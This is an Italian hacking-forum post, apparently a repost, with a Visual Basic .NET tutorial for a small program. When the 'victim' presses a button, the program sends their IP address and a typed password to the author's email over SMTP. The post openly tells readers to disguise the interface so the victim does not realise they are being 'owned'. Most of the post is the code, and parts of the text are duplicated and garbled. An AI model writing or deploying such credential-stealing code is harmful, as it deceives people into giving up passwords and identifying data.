Molto semplice, basta che la vittima prema il bottone, che il suo IP vi arrivera' via email.
Abbiamo bisogno di :
-1 Button
-2 TextBox
-1 Controllo Winsock
Apriamo Form1.vb, cancelliamo tutto e inseriamo questo codice:
Codice:
Un esempio di hacking molto semplice, aggiustate la grafica in modo che la vittima non pensi che stia per essere Ownata
Naturalmente cambiare i campi dove ci sono Mail,Nome e STMP...
Fonte:IH(ItalianHack).
Abbiamo bisogno di :
-1 Button
-2 TextBox
-1 Controllo Winsock
Apriamo Form1.vb, cancelliamo tutto e inseriamo questo codice:
Codice:
Codice:
[FONT=Courier New][SIZE=2][COLOR=Black]Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
TextBox1.Text = AxWinsock1.LocalIP
Dim tuamail As String = "miamail" 'Inserisci come descritto
Dim tuonome As String = "Marco" 'Inserisci come desrtitto
Dim tuostmp As String = "mail.hotmail.com" 'Inserisci come descritto (Es. per chi ha alice: out.alice.com
Dim myMail As New MailMessage()
myMail.From = New MailAddress("[email protected]", TextBox1.Text) 'QUesto serve per decidere da chi viene la email
myMail.To.Add(New MailAddress("miamail, Marco")) 'A chi arriva la mail
myMail.Subject = TextBox1.Text 'L'oggetto
myMail.Priority = MailPriority.High 'La priorit?
myMail.IsBodyHtml = True
myMail.Body = "Il numero dell IP ?: " & TextBox1.Text & " La password ?: " & TextBox2.Text
Dim Smtp As New SmtpClient 'Il server SMTP
Smtp.Host = "mail.hotmail.com"
Smtp.Send(myMail) 'Invia l'email
TextBox1.Text = " il tuo IP"
TextBox2.Text = " esce il numero della porta"
End Sub[/COLOR][/SIZE][/FONT][FONT=Courier New][SIZE=2][COLOR=Black]
[/COLOR][/SIZE][/FONT][FONT=Courier New][SIZE=2][COLOR=Black]End Class[/COLOR][/SIZE][/FONT]Un esempio di hacking molto semplice, aggiustate la grafica in modo che la vittima non pensi che stia per essere Ownata
Naturalmente cambiare i campi dove ci sono Mail,Nome e STMP...
Fonte:IH(ItalianHack).